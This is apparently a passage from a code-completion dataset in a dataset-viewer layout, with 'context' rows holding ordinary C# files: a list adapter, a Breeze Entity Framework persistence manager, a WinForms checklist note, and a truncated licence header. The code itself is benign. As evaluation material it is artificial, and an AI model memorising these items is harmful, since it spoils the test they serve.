context stringlengths 2.52k 185k | gt stringclasses 1
value |
|---|---|
// <copyright file="MultiListMasterSlaveListAdapter{T}.cs" company="Adrian Mos">
// Copyright (c) Adrian Mos with all rights reserved. Part of the IX Framework.
// </copyright>
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using IX.StandardExtensions.Extensions;
namespace IX.Observable.Adapters
{
#pragma warning disable HAA0401 // Possible allocation of reference type enumerator - Unavoidable right now
internal class MultiListMasterSlaveListAdapter<T> : ListAdapter<T>
{
private readonly List<IEnumerable<T>> slaves;
#pragma warning disable IDISP002 // Dispose member. - Not disposable
#pragma warning disable IDISP006 // Implement IDisposable.
#pragma warning disable IDISP008 // Don't assign member with injected and created disposables.
private IList<T> master;
#pragma warning restore IDISP008 // Don't assign member with injected and created disposables.
#pragma warning restore IDISP006 // Implement IDisposable.
#pragma warning restore IDISP002 // Dispose member.
internal MultiListMasterSlaveListAdapter()
{
this.slaves = new List<IEnumerable<T>>();
}
public override int Count
{
get
{
this.InitializeMissingMaster();
return this.master.Count + this.slaves.Sum(p => p.Count());
}
}
public int SlavesCount => this.slaves.Count;
public override bool IsReadOnly
{
get
{
this.InitializeMissingMaster();
return this.master.IsReadOnly;
}
}
internal int MasterCount
{
get
{
this.InitializeMissingMaster();
return this.master.Count;
}
}
public override T this[int index]
{
get
{
this.InitializeMissingMaster();
if (index < this.master.Count)
{
return this.master[index];
}
var idx = index - this.master.Count;
foreach (IEnumerable<T> slave in this.slaves)
{
int count = slave.Count();
if (count > idx)
{
return slave.ElementAt(idx);
}
idx -= count;
}
return default;
}
set
{
this.InitializeMissingMaster();
this.master[index] = value;
}
}
public override int Add(T item)
{
this.InitializeMissingMaster();
this.master.Add(item);
return this.MasterCount - 1;
}
public override int AddRange(IEnumerable<T> items)
{
this.InitializeMissingMaster();
var index = this.master.Count;
items.ForEach((p, master) => master.Add(p), this.master);
return index;
}
public override void Clear()
{
this.InitializeMissingMaster();
this.master.Clear();
}
public override bool Contains(T item)
{
this.InitializeMissingMaster();
return this.master.Contains(item) || this.slaves.Any((p, itemL1) => p.Contains(itemL1), item);
}
public void MasterCopyTo(T[] array, int arrayIndex)
{
this.InitializeMissingMaster();
this.master.CopyTo(array, arrayIndex);
}
public override void CopyTo(T[] array, int arrayIndex)
{
this.InitializeMissingMaster();
var totalCount = this.Count + arrayIndex;
using (IEnumerator<T> enumerator = this.GetEnumerator())
{
for (var i = arrayIndex; i < totalCount; i++)
{
if (!enumerator.MoveNext())
{
break;
}
array[i] = enumerator.Current;
}
}
}
public override IEnumerator<T> GetEnumerator()
{
this.InitializeMissingMaster();
foreach (T var in this.master)
{
yield return var;
}
foreach (IEnumerable<T> lst in this.slaves)
{
foreach (T var in lst)
{
yield return var;
}
}
}
public override int Remove(T item)
{
this.InitializeMissingMaster();
var index = this.master.IndexOf(item);
this.master.Remove(item);
return index;
}
public override void Insert(int index, T item)
{
this.InitializeMissingMaster();
this.master.Insert(index, item);
}
public override int IndexOf(T item)
{
this.InitializeMissingMaster();
var offset = 0;
int foundIndex;
if ((foundIndex = this.master.IndexOf(item)) != -1)
{
return foundIndex;
}
offset += this.master.Count;
foreach (List<T> slave in this.slaves.Select(p => p.ToList()))
{
if ((foundIndex = slave.IndexOf(item)) != -1)
{
return foundIndex + offset;
}
offset += slave.Count;
}
return -1;
}
/// <summary>
/// Removes an item at a specific index.
/// </summary>
/// <param name="index">The index at which to remove from.</param>
public override void RemoveAt(int index)
{
this.InitializeMissingMaster();
this.master.RemoveAt(index);
}
internal void SetMaster<TList>(TList masterList)
where TList : class, IList<T>, INotifyCollectionChanged
{
TList newMaster = masterList ?? throw new ArgumentNullException(nameof(masterList));
IList<T> oldMaster = this.master;
if (oldMaster != null)
{
#pragma warning disable ERP022 // Catching everything considered harmful. - It is of no consequence
try
{
((INotifyCollectionChanged)oldMaster).CollectionChanged -= this.List_CollectionChanged;
}
catch
{
// We need to do nothing here. Inability to remove the event delegate reference is of no consequence.
}
#pragma warning restore ERP022 // Catching everything considered harmful.
}
#pragma warning disable IDISP003 // Dispose previous before re-assigning. - We can't do that, really
this.master = newMaster;
#pragma warning restore IDISP003 // Dispose previous before re-assigning.
masterList.CollectionChanged += this.List_CollectionChanged;
}
internal void SetSlave<TList>(TList slaveList)
where TList : class, IEnumerable<T>, INotifyCollectionChanged
{
this.slaves.Add(slaveList ?? throw new ArgumentNullException(nameof(slaveList)));
slaveList.CollectionChanged += this.List_CollectionChanged;
}
internal void RemoveSlave<TList>(TList slaveList)
where TList : class, IEnumerable<T>, INotifyCollectionChanged
{
#pragma warning disable ERP022 // Catching everything considered harmful. - It is of no consequence
try
{
slaveList.CollectionChanged -= this.List_CollectionChanged;
}
catch
{
// We need to do nothing here. Inability to remove the event delegate reference is of no consequence.
}
#pragma warning restore ERP022 // Catching everything considered harmful.
this.slaves.Remove(slaveList ?? throw new ArgumentNullException(nameof(slaveList)));
}
private void List_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) => this.TriggerReset();
private void InitializeMissingMaster()
{
if (this.master == null)
{
this.master = new ObservableList<T>();
}
}
}
#pragma warning restore HAA0401 // Possible allocation of reference type enumerator
}
| |
using Breeze.Core;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.ChangeTracking;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Storage;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using Newtonsoft.Json.Linq;
using Newtonsoft.Json.Serialization;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.Common;
using System.Linq;
using System.Reflection;
using System.Threading;
using System.Threading.Tasks;
namespace Breeze.Persistence.EFCore {
/// <summary> Interface for providing a DbContext </summary>
public interface IEFContextProvider {
DbContext DbContext { get; }
String GetEntitySetName(Type entityType);
}
// T is a subclass of DbContext
/// <summary> Manages persistence for Breeze entity models using Entity Framework </summary>
public class EFPersistenceManager<T> : PersistenceManager, IEFContextProvider where T : DbContext {
private T _context;
static EFPersistenceManager() {
EntityQuery.ApplyExpand = EFExtensions.ApplyExpand;
EntityQuery.ApplyCustomLogic = EFExtensions.ApplyAsNoTracking;
}
public EFPersistenceManager() {
_context = null;
}
public EFPersistenceManager(T context) {
_context = context;
// Added for EF Core 3
_context.ChangeTracker.CascadeDeleteTiming = CascadeTiming.OnSaveChanges;
_context.ChangeTracker.DeleteOrphansTiming = CascadeTiming.OnSaveChanges;
}
public DbContext DbContext {
get {
return _context;
}
}
public T Context {
get {
return _context;
}
}
//protected virtual T CreateContext() {
// throw new NotImplementedException("A CreateContext method must be implemented - if you do not instantiate this PersistenceManager with a Context"); ;
//}
/// <summary>Gets the EntityConnection from the ObjectContext.</summary>
public DbConnection EntityConnection {
get {
return (DbConnection)GetDbConnection();
}
}
/// <summary>Gets the current transaction, if one is in progress.</summary>
public IDbContextTransaction EntityTransaction {
get; private set;
}
/// <summary>Gets the EntityConnection from the ObjectContext.</summary>
public override IDbConnection GetDbConnection() {
return DbContext.Database.GetDbConnection();
}
/// <summary>
/// Opens the DbConnection used by the Context.
/// If the connection will be used outside of the DbContext, this method should be called prior to DbContext
/// initialization, so that the connection will already be open when the DbContext uses it. This keeps
/// the DbContext from closing the connection, so it must be closed manually.
/// See http://blogs.msdn.com/b/diego/archive/2012/01/26/exception-from-dbcontext-api-entityconnection-can-only-be-constructed-with-a-closed-dbconnection.aspx
/// </summary>
/// <returns></returns>
protected override void OpenDbConnection() {
DbContext.Database.OpenConnection();
}
/// <summary>
/// Opens the DbConnection used by the Context.
/// If the connection will be used outside of the DbContext, this method should be called prior to DbContext
/// initialization, so that the connection will already be open when the DbContext uses it. This keeps
/// the DbContext from closing the connection, so it must be closed manually.
/// See http://blogs.msdn.com/b/diego/archive/2012/01/26/exception-from-dbcontext-api-entityconnection-can-only-be-constructed-with-a-closed-dbconnection.aspx
/// </summary>
/// <returns></returns>
protected override Task OpenDbConnectionAsync(CancellationToken cancellationToken) {
return DbContext.Database.OpenConnectionAsync(cancellationToken);
}
/// <summary> Close the db connection used by the DbContext. </summary>
protected override void CloseDbConnection() {
if (_context != null) {
DbContext.Database.CloseConnection();
}
}
/// <summary> Close the db connection used by the DbContext. </summary>
protected override Task CloseDbConnectionAsync() {
if (_context != null) {
return DbContext.Database.CloseConnectionAsync();
} else {
return Task.FromResult(0);
}
}
/// Override BeginTransaction so we can keep the current transaction in a property
protected override IDbTransaction BeginTransaction(System.Data.IsolationLevel isolationLevel) {
var conn = GetDbConnection();
if (conn == null) return null;
EntityTransaction = DbContext.Database.BeginTransaction(isolationLevel);
return EntityTransaction.GetDbTransaction();
}
/// <summary> Override BeginTransactionAsync and keep the transaction in the Entitytransaction property </summary>
protected override async Task<IDbTransaction> BeginTransactionAsync(System.Data.IsolationLevel isolationLevel, CancellationToken cancellationToken) {
var conn = GetDbConnection();
if (conn == null) return null;
EntityTransaction = await DbContext.Database.BeginTransactionAsync(isolationLevel, cancellationToken);
return EntityTransaction.GetDbTransaction();
}
#region Base implementation overrides
protected override string BuildJsonMetadata() {
var metadata = MetadataBuilder.BuildFrom(DbContext);
var jss = new JsonSerializerSettings {
ContractResolver = new CamelCasePropertyNamesContractResolver(),
NullValueHandling = NullValueHandling.Ignore,
};
jss.Converters.Add(new StringEnumConverter());
var json = JsonConvert.SerializeObject(metadata, jss);
var altMetadata = BuildAltJsonMetadata();
if (altMetadata != null) {
json = "{ \"altMetadata\": " + altMetadata + "," + json.Substring(1);
}
return json;
}
/// <summary> Allow a subclass to provide alternate metadata </summary>
protected virtual string BuildAltJsonMetadata() {
// default implementation
return null; // "{ \"foo\": 8, \"bar\": \"xxx\" }";
}
/// <summary> Create a new EFEntityInfo </summary>
protected override EntityInfo CreateEntityInfo() {
return new EFEntityInfo();
}
/// <summary> Get the primary key values from the Entity </summary>
public override object[] GetKeyValues(EntityInfo entityInfo) {
return GetKeyValues(entityInfo.Entity);
}
/// <summary> Get the primary key values from the Entity </summary>
public object[] GetKeyValues(object entity) {
var et = entity.GetType();
var values = GetKeyProperties(et).Select(kp => kp.GetValue(entity)).ToArray();
return values;
}
private IEnumerable<PropertyInfo> GetKeyProperties(Type entityType) {
var pk = Context.Model.FindEntityType(entityType).FindPrimaryKey();
var props = pk.Properties.Select(k => k.PropertyInfo);
return props;
}
/// <summary> Save changes and update key mappings </summary>
protected override void SaveChangesCore(SaveWorkState saveWorkState) {
var saveMap = saveWorkState.SaveMap;
var deletedEntities = ProcessSaves(saveMap);
if (deletedEntities.Any()) {
ProcessAllDeleted(deletedEntities);
}
ProcessAutogeneratedKeys(saveWorkState.EntitiesWithAutoGeneratedKeys);
try {
DbContext.SaveChanges();
} catch (DbUpdateException e) {
var nextException = (Exception)e;
while (nextException.InnerException != null) {
nextException = nextException.InnerException;
}
if (nextException == e) {
throw;
} else {
//create a new exception that contains the toplevel exception
//but has the innermost exception message propogated to the top.
//For EF exceptions, this is often the most 'relevant' message.
throw new Exception(nextException.Message, e);
}
} catch (Exception) {
throw;
}
saveWorkState.KeyMappings = UpdateAutoGeneratedKeys(saveWorkState.EntitiesWithAutoGeneratedKeys);
// insures that only a flat list of entities is returned by stubbing out any navigations
saveWorkState.SaveMap.SelectMany(kvp => kvp.Value).ToList().ForEach(e => {
var ee = GetEntityEntry(e.Entity);
ee.State = Microsoft.EntityFrameworkCore.EntityState.Detached;
ee.Navigations.ToList().ForEach(n => n.CurrentValue = null);
});
}
/// <summary> Save changes and update key mappings </summary>
protected override async Task SaveChangesCoreAsync(SaveWorkState saveWorkState, CancellationToken cancellationToken) {
var saveMap = saveWorkState.SaveMap;
var deletedEntities = ProcessSaves(saveMap);
if (deletedEntities.Any()) {
ProcessAllDeleted(deletedEntities);
}
ProcessAutogeneratedKeys(saveWorkState.EntitiesWithAutoGeneratedKeys);
try {
await DbContext.SaveChangesAsync(cancellationToken);
} catch (DbUpdateException e) {
var nextException = (Exception)e;
while (nextException.InnerException != null) {
nextException = nextException.InnerException;
}
if (nextException == e) {
throw;
} else {
//create a new exception that contains the toplevel exception
//but has the innermost exception message propogated to the top.
//For EF exceptions, this is often the most 'relevant' message.
throw new Exception(nextException.Message, e);
}
} catch (Exception) {
throw;
}
saveWorkState.KeyMappings = UpdateAutoGeneratedKeys(saveWorkState.EntitiesWithAutoGeneratedKeys);
// insures that only a flat list of entities is returned by stubbing out any navigations
saveWorkState.SaveMap.SelectMany(kvp => kvp.Value).ToList().ForEach(e => {
var ee = GetEntityEntry(e.Entity);
ee.State = Microsoft.EntityFrameworkCore.EntityState.Detached;
ee.Navigations.ToList().ForEach(n => n.CurrentValue = null);
});
}
#endregion
#region Save related methods
private List<EFEntityInfo> ProcessSaves(Dictionary<Type, List<EntityInfo>> saveMap) {
var deletedEntities = new List<EFEntityInfo>();
foreach (var kvp in saveMap) {
if (kvp.Value == null || kvp.Value.Count == 0) continue; // skip GetEntitySetName if no entities
var entityType = kvp.Key;
var entitySetName = GetEntitySetName(entityType);
foreach (EFEntityInfo entityInfo in kvp.Value) {
// entityInfo.EFContextProvider = this; may be needed eventually.
entityInfo.EntitySetName = entitySetName;
ProcessEntity(entityInfo);
if (entityInfo.EntityState == EntityState.Deleted) {
deletedEntities.Add(entityInfo);
}
}
}
return deletedEntities;
}
private void ProcessAllDeleted(List<EFEntityInfo> deletedEntities) {
deletedEntities.ForEach(entityInfo => {
RestoreOriginal(entityInfo);
var entry = GetOrAddEntityEntry(entityInfo);
entry.State = Microsoft.EntityFrameworkCore.EntityState.Deleted;
// Handle owned entities - ( complex types).
var ownedNavs = entry.Navigations.Where(n => n.Metadata.TargetEntityType.IsOwned());
ownedNavs.ToList().ForEach(n => {
var nEntry = GetEntityEntry(n.CurrentValue);
nEntry.State = Microsoft.EntityFrameworkCore.EntityState.Deleted;
});
entityInfo.EntityEntry = entry;
});
}
private void ProcessAutogeneratedKeys(List<EntityInfo> entitiesWithAutoGeneratedKeys) {
var tempKeys = entitiesWithAutoGeneratedKeys.Cast<EFEntityInfo>().Where(
entityInfo => entityInfo.AutoGeneratedKey.AutoGeneratedKeyType == AutoGeneratedKeyType.KeyGenerator)
.Select(ei => new TempKeyInfo(ei))
.ToList();
if (tempKeys.Count == 0) return;
if (this.KeyGenerator == null) {
this.KeyGenerator = GetKeyGenerator();
}
this.KeyGenerator.UpdateKeys(tempKeys);
tempKeys.ForEach(tki => {
// Clever hack - next 3 lines cause all entities related to tki.Entity to have
// their relationships updated. So all related entities for each tki are updated.
// Basically we set the entity to look like a preexisting entity by setting its
// entityState to unchanged. This is what fixes up the relations, then we set it back to added
// Now when we update the pk - all fks will get changed as well. Note that the fk change will only
// occur during the save.
var entry = GetEntityEntry(tki.Entity);
entry.State = Microsoft.EntityFrameworkCore.EntityState.Unchanged;
entry.State = Microsoft.EntityFrameworkCore.EntityState.Added;
var val = ConvertValue(tki.RealValue, tki.Property.PropertyType);
tki.Property.SetValue(tki.Entity, val, null);
});
}
private IKeyGenerator GetKeyGenerator() {
var generatorType = KeyGeneratorType.Value;
return (IKeyGenerator)Activator.CreateInstance(generatorType, this.GetDbConnection());
}
private EntityInfo ProcessEntity(EFEntityInfo entityInfo) {
EntityEntry ose;
if (entityInfo.EntityState == EntityState.Modified) {
ose = HandleModified(entityInfo);
} else if (entityInfo.EntityState == EntityState.Added) {
ose = HandleAdded(entityInfo);
} else if (entityInfo.EntityState == EntityState.Deleted) {
// for 1st pass this does NOTHING
ose = HandleDeletedPart1(entityInfo);
} else {
// needed for many to many to get both ends into the objectContext
ose = HandleUnchanged(entityInfo);
}
entityInfo.EntityEntry = ose;
return entityInfo;
}
private EntityEntry HandleAdded(EFEntityInfo entityInfo) {
var entry = AddEntityEntry(entityInfo);
if (entityInfo.AutoGeneratedKey != null) {
var propName = entityInfo.AutoGeneratedKey.PropertyName;
entityInfo.AutoGeneratedKey.TempValue = GetEntryPropertyValue(entry, propName);
if (entityInfo.AutoGeneratedKey.AutoGeneratedKeyType == AutoGeneratedKeyType.Identity) {
// HACK: because EF Core will not allow inserts to an Identity column where a value exists on incoming entity.
entry.Property(propName).IsTemporary = true;
}
}
MarkEntryAndOwnedChildren(entry, Microsoft.EntityFrameworkCore.EntityState.Added);
return entry;
}
private EntityEntry HandleModified(EFEntityInfo entityInfo) {
var entry = AddEntityEntry(entityInfo);
// EntityState will be changed to modified during the update from the OriginalValuesMap
// Do NOT change this to EntityState.Modified because this will cause the entire record to update.
entry.State = Microsoft.EntityFrameworkCore.EntityState.Unchanged;
// updating the original values is necessary under certain conditions when we change a foreign key field
// because the before value is used to determine ordering.
UpdateOriginalValues(entry, entityInfo);
// SetModified(entry, entityInfo.ForceUpdate);
MarkEntryAndOwnedChildren(entry, Microsoft.EntityFrameworkCore.EntityState.Modified);
return entry;
}
private void MarkEntryAndOwnedChildren(EntityEntry entry, Microsoft.EntityFrameworkCore.EntityState state ) {
entry.State = state;
// Handle owned entities - ( complex types).
var ownedNavs = entry.Navigations.Where(n => n.Metadata.TargetEntityType.IsOwned());
ownedNavs.ToList().ForEach(n => {
var nEntry = GetEntityEntry(n.CurrentValue);
nEntry.State = state;
});
}
private EntityEntry HandleUnchanged(EFEntityInfo entityInfo) {
var entry = AddEntityEntry(entityInfo);
MarkEntryAndOwnedChildren(entry, Microsoft.EntityFrameworkCore.EntityState.Unchanged);
// entry.State = Microsoft.EntityFrameworkCore.EntityState.Unchanged;
return entry;
}
private EntityEntry HandleDeletedPart1(EntityInfo entityInfo) {
return null;
}
private EntityInfo RestoreOriginal(EntityInfo entityInfo) {
// fk's can get cleared depending on the order in which deletions occur -
// EF needs the original values of these fk's under certain circumstances - ( not sure entirely what these are).
// so we restore the original fk values right before we attach the entity
// shouldn't be any side effects because we delete it immediately after.
// ??? Do concurrency values also need to be restored in some cases
// This method restores more than it actually needs to because we don't
// have metadata easily avail here, but usually a deleted entity will
// not have much in the way of OriginalValues.
if (entityInfo.OriginalValuesMap == null || entityInfo.OriginalValuesMap.Keys.Count == 0) {
return entityInfo;
}
var entity = entityInfo.Entity;
var entityType = entity.GetType();
var keyPropertyNames = GetKeyProperties(entityType).Select(kp => kp.Name).ToList();
var ovl = entityInfo.OriginalValuesMap.ToList();
for (var i = 0; i < ovl.Count; i++) {
var kvp = ovl[i];
var propName = kvp.Key;
// keys should be ignored
if (keyPropertyNames.Contains(propName)) continue;
var pi = entityType.GetProperty(propName);
// unmapped properties should be ignored.
if (pi == null) continue;
var nnPropType = TypeFns.GetNonNullableType(pi.PropertyType);
// presumption here is that only a predefined type could be a fk or concurrency property
if (TypeFns.IsPredefinedType(nnPropType)) {
SetPropertyValue(entity, propName, kvp.Value);
}
}
return entityInfo;
}
private static void UpdateOriginalValues(EntityEntry entry, EntityInfo entityInfo) {
var originalValuesMap = entityInfo.OriginalValuesMap;
if (originalValuesMap == null || originalValuesMap.Keys.Count == 0) return;
originalValuesMap.ToList().ForEach(kvp => {
var propertyName = kvp.Key;
var originalValue = kvp.Value;
if (originalValue is JObject) {
// only really need to perform updating original values on key properties
// and a complex object cannot be a key.
return;
}
try {
var propEntry = entry.Property(propertyName);
propEntry.IsModified = true;
var fieldType = propEntry.Metadata.ClrType;
var originalValueConverted = ConvertValue(originalValue, fieldType);
propEntry.OriginalValue = originalValueConverted;
} catch (Exception e) {
if (e.Message.Contains(" part of the entity's key")) {
throw;
} else {
// this can happen for "custom" data entity properties.
}
}
});
}
private List<KeyMapping> UpdateAutoGeneratedKeys(List<EntityInfo> entitiesWithAutoGeneratedKeys) {
// where clause is necessary in case the Entities were suppressed in the beforeSave event.
var keyMappings = entitiesWithAutoGeneratedKeys.Cast<EFEntityInfo>()
.Where(entityInfo => entityInfo.EntityEntry != null)
.Select((Func<EFEntityInfo, KeyMapping>)(entityInfo => {
var autoGeneratedKey = entityInfo.AutoGeneratedKey;
if (autoGeneratedKey.AutoGeneratedKeyType == AutoGeneratedKeyType.Identity) {
autoGeneratedKey.RealValue = GetEntryPropertyValue(entityInfo.EntityEntry, autoGeneratedKey.PropertyName);
}
return new KeyMapping() {
EntityTypeName = entityInfo.Entity.GetType().FullName,
TempValue = autoGeneratedKey.TempValue,
RealValue = autoGeneratedKey.RealValue
};
}));
return keyMappings.ToList();
}
private Object GetEntryPropertyValue(EntityEntry entry, String propertyName) {
var currentValues = entry.CurrentValues;
return currentValues[propertyName];
}
private void SetEntryPropertyValue(EntityEntry entry, String propertyName, Object value) {
var currentValues = entry.CurrentValues;
currentValues[propertyName] = value;
}
private void SetPropertyToDefaultValue(Object entity, String propertyName) {
var propInfo = entity.GetType().GetProperty(propertyName,
BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
// exit if unmapped property.
if (propInfo == null) return;
if (propInfo.CanWrite) {
var val = TypeFns.GetDefaultValue(propInfo.PropertyType);
propInfo.SetValue(entity, val, null);
} else {
throw new Exception(String.Format("Unable to write to property '{0}' on type: '{1}'", propertyName,
entity.GetType()));
}
}
private void SetPropertyValue(Object entity, String propertyName, Object value) {
var propInfo = entity.GetType().GetProperty(propertyName,
BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
// exit if unmapped property.
if (propInfo == null) return;
if (propInfo.CanWrite) {
var val = ConvertValue(value, propInfo.PropertyType);
propInfo.SetValue(entity, val, null);
} else {
throw new Exception(String.Format("Unable to write to property '{0}' on type: '{1}'", propertyName,
entity.GetType()));
}
}
private static Object ConvertValue(Object val, Type toType) {
Object result;
if (val == null) return val;
if (toType == val.GetType()) return val;
var nnToType = TypeFns.GetNonNullableType(toType);
if (nnToType.IsEnum && val is string) {
result = Enum.Parse(nnToType, val as string, true);
} else if (typeof(IConvertible).IsAssignableFrom(nnToType)) {
result = Convert.ChangeType(val, nnToType, System.Threading.Thread.CurrentThread.CurrentCulture);
} else if (val is JObject) {
var serializer = new JsonSerializer();
result = serializer.Deserialize(new JTokenReader((JObject)val), toType);
} else {
// Guids fail above - try this
TypeConverter typeConverter = TypeDescriptor.GetConverter(toType);
if (typeConverter.CanConvertFrom(val.GetType())) {
result = typeConverter.ConvertFrom(val);
} else if (val is DateTime && toType == typeof(DateTimeOffset)) {
// handle case where JSON deserializes to DateTime, but toType is DateTimeOffset. DateTimeOffsetConverter doesn't work!
result = new DateTimeOffset((DateTime)val);
} else {
result = val;
}
}
return result;
}
private EntityEntry GetOrAddEntityEntry(EFEntityInfo entityInfo) {
return AddEntityEntry(entityInfo);
}
private EntityEntry AddEntityEntry(EFEntityInfo entityInfo) {
var entry = GetEntityEntry(entityInfo.Entity);
if (entry.State == Microsoft.EntityFrameworkCore.EntityState.Detached) {
return DbContext.Add(entityInfo.Entity);
} else {
return entry;
}
}
private EntityEntry AttachEntityEntry(EFEntityInfo entityInfo) {
return DbContext.Attach(entityInfo.Entity);
}
private EntityEntry GetEntityEntry(EFEntityInfo entityInfo) {
return GetEntityEntry(entityInfo.Entity);
}
private EntityEntry GetEntityEntry(Object entity) {
var entry = this.DbContext.Entry(entity);
return entry;
}
#endregion
public String GetEntitySetName(Type entityType) {
return this.Context.Model.FindEntityType(entityType).Name;
}
}
public class EFEntityInfo : EntityInfo {
internal EFEntityInfo() {
}
internal String EntitySetName;
internal EntityEntry EntityEntry;
}
public class EFEntityError : EntityError {
public EFEntityError(EntityInfo entityInfo, String errorName, String errorMessage, String propertyName) {
if (entityInfo != null) {
this.EntityTypeName = entityInfo.Entity.GetType().FullName;
this.KeyValues = GetKeyValues(entityInfo);
}
ErrorName = errorName;
ErrorMessage = errorMessage;
PropertyName = propertyName;
}
private Object[] GetKeyValues(EntityInfo entityInfo) {
return entityInfo.PersistenceManager.GetKeyValues(entityInfo);
}
}
}
| |
using System;
using CoreUtilities;
using System.Windows.Forms;
using System.Drawing;
using System.Collections.Generic;
using CoreUtilities.Links;
using System.Data;
using Layout;
namespace ADD_Checklist
{
public class NoteDataXML_Checklist: NoteDataXML_Table
{
#region constants
public const string tableID="Roll";
public const string tableCheckLabel="Result";
public const string tableTrueFalse = "Next Table";
// public const string NotUsed = "Modifier";
#endregion
#region interface
CheckedListBox checkers = null;
TextBox preview = null;
#endregion
#region properties
string notelink = Constants.BLANK;
public string Notelink {
get {
return notelink;
}
set {
notelink = value;
}
}
#endregion
public NoteDataXML_Checklist () : base()
{
CommonConstructorBehavior ();
}
public NoteDataXML_Checklist(int height, int width):base(height, width)
{
CommonConstructorBehavior ();
ReadOnly = true;
}
public NoteDataXML_Checklist(NoteDataInterface Note) : base(Note)
{
this.Notelink = ((NoteDataXML_Checklist)Note).Notelink;
}
protected override void CommonConstructorBehavior ()
{
base.CommonConstructorBehavior ();
Caption = Loc.Instance.GetString("Check List");
}
/// <summary>
/// Registers the type.
/// </summary>
public override string RegisterType()
{
return Loc.Instance.GetString("Check List");
}
void UpdateCheckpage (CheckedListBox checkers)
{
checkers.Items.Clear();
foreach (DataRow row in dataSource.Rows) {
bool ischecked = false;
if (row[tableTrueFalse].ToString() == "1")
{
ischecked = true;
}
checkers.Items.Add (row[tableCheckLabel].ToString(), ischecked);
}
}
protected override void DoBuildChildren (LayoutPanelBase Layout)
{
base.DoBuildChildren (Layout);
try {
TabControl pages = new TabControl ();
ParentNotePanel.Controls.Add (pages);
pages.Dock = DockStyle.Fill;
pages.BringToFront();
TabPage GridPage = new TabPage (Loc.Instance.GetString ("Advanced"));
TabPage CheckPage = new TabPage (Loc.Instance.GetString ("Checklist"));
pages.TabPages.Add (CheckPage);
pages.TabPages.Add (GridPage);
ParentNotePanel.Controls.Remove (this.Table);
GridPage.Controls.Add (this.Table);
// Set up check list
checkers = new CheckedListBox ();
checkers.Dock = DockStyle.Fill;
UpdateCheckpage (checkers);
checkers.ItemCheck+= (object sender, ItemCheckEventArgs e) => SetSaveRequired(true);
checkers.SelectedIndexChanged+= HandleSelectedIndexChanged;
preview = new TextBox();
preview.Dock = DockStyle.Bottom;
preview.Height = 75;
preview.Multiline = true;
preview.ReadOnly = true;
preview.ScrollBars = ScrollBars.Both;
CheckPage.Controls.Add (checkers);
CheckPage.Controls.Add (preview);
} catch (Exception ex) {
NewMessage.Show (ex.ToString ());
}
ToolStripMenuItem LinkedNote =
LayoutDetails.BuildMenuPropertyEdit (Loc.Instance.GetString("Linked Note: {0}"),
Notelink,
Loc.Instance.GetString ("Give a valid note's name to populate check list."),HandleNoteLinkNameChange );
ToolStripButton RefreshButton = new ToolStripButton();
RefreshButton.Text = Loc.Instance.GetString("Refresh");
RefreshButton.Click+= HandleRefreshButtonClick;
properties.DropDownItems.Add (new ToolStripSeparator());
properties.DropDownItems.Add (LinkedNote);
properties.DropDownItems.Add (RefreshButton);
}
protected override void DoChildAppearance (AppearanceClass app)
{
base.DoChildAppearance (app);
checkers.BackColor = app.mainBackground;
checkers.ForeColor = app.secondaryForeground;
preview.BackColor = app.mainBackground;
preview.ForeColor = app.secondaryForeground;
}
void HandleSelectedIndexChanged (object sender, EventArgs e)
{
if (checkers.SelectedItem != null) {
//NewMessage.Show (checkers.ToString ());
preview.Text = checkers.SelectedItem.ToString ();
}
}
bool IsTextAlreadyInTable (string item)
{
bool IsThere = false;
foreach (DataRow row in dataSource.Rows) {
if (row[tableCheckLabel].ToString() == item)
{
IsThere = true;
break;
}
}
return IsThere;
}
/// <summary>
/// Parses the note into table -- will added each line
/// </summary>
/// <param name='note'>
/// Note.
/// </param>
void ParseNoteIntoTable (NoteDataInterface note)
{
RichTextBox tmp = new RichTextBox();
tmp.Rtf = note.Data1;
string Source = tmp.Text;
tmp.Dispose();
// assuming is not null, already tested for this
string[] ImportedItems = Source.Split (new string[2]{"\r\n","\n"}, StringSplitOptions.RemoveEmptyEntries);
if (ImportedItems != null && ImportedItems.Length > 0) {
//int count = 0;
foreach (string item in ImportedItems) {
if (item != Constants.BLANK)
{
if (IsTextAlreadyInTable(item) == false)
{
int count = RowCount();
this.AddRow (new object[3]{count.ToString (),item, "0"});
//count++;
}
}
// if text IS IN table, we don't do anything during a parse.
}
}
}
void HandleRefreshButtonClick (object sender, EventArgs e)
{
NoteDataInterface note = this.Layout.FindNoteByName (Notelink);
if (note == null || note.Data1 == Constants.BLANK) {
NewMessage.Show (Loc.Instance.GetStringFmt ("The note [{0}] does not exist or has no text.", Notelink));
} else {
// we need to force a save in case the text on the note has changed and we want it reflected in the checklist
Layout.SaveLayout ();
// we can parse
ParseNoteIntoTable(note);
UpdateCheckpage (checkers);
}
}
void HandleNoteLinkNameChange (object sender, KeyEventArgs e)
{
string tablecaption = Notelink;
LayoutDetails.HandleMenuLabelEdit (sender, e, ref tablecaption, SetSaveRequired);
Notelink = tablecaption;
}
/// <summary>
/// Updates the database by looking for a string matching STR and then updating the result with result
/// </summary>
/// <param name='str'>
/// String.
/// </param>
/// <param name='result'>
/// Result.
/// </param>
void UpdateDatabase (string str, int result)
{
for (int i = 0; i < dataSource.Rows.Count; i++)
{
if (dataSource.Rows[i][tableCheckLabel].ToString() == str)
{
dataSource.Rows[i][tableTrueFalse] = result;
break;
}
}
}
public override void Save ()
{
// iterate through all items and test if checked and write 0 or 1
for (int i = 0; i < checkers.Items.Count; i++)
{
int result = 0;
if (checkers.GetItemChecked(i) == true)
{
result = 1;
}
// now update the database based on the text
UpdateDatabase(checkers.Items[i].ToString (), result);
}
base.Save ();
}
}
}
| |
//
// Copyright (c) 2004-2020 Jaroslaw Kowalski <jaak@jkowalski.net>, Kim Christensen, Julian Verdurmen
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
